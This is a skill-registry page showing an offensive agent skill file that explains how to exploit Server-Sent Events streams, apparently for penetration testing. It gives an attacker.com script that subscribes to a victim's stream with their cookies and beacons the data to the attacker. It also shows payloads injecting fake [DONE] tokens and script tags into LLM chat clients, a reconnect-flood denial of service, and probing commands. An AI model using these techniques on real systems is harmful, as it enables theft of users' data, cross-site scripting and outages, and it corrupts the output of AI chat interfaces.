Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.
60
71%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.mdSSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
# id: 42
# event: message
# data: {"foo":"bar"}
# (blank line ends one event)EventSource)EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}Last-Event-IDSSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
id: jwt-here-encoded
event: message
data: ...Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)
# curl with --no-buffer for live view
curl -sk -N https://target/stream
# Python sseclient — programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
print(ev.id, ev.event, ev.data)
'
# Burp: SSE traffic shows in Proxy → HTTP history but with "streaming" indicator;
# right-click → Send to Repeater works but won't display incremental events.Connection: keep-alive + text/event-stream).0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.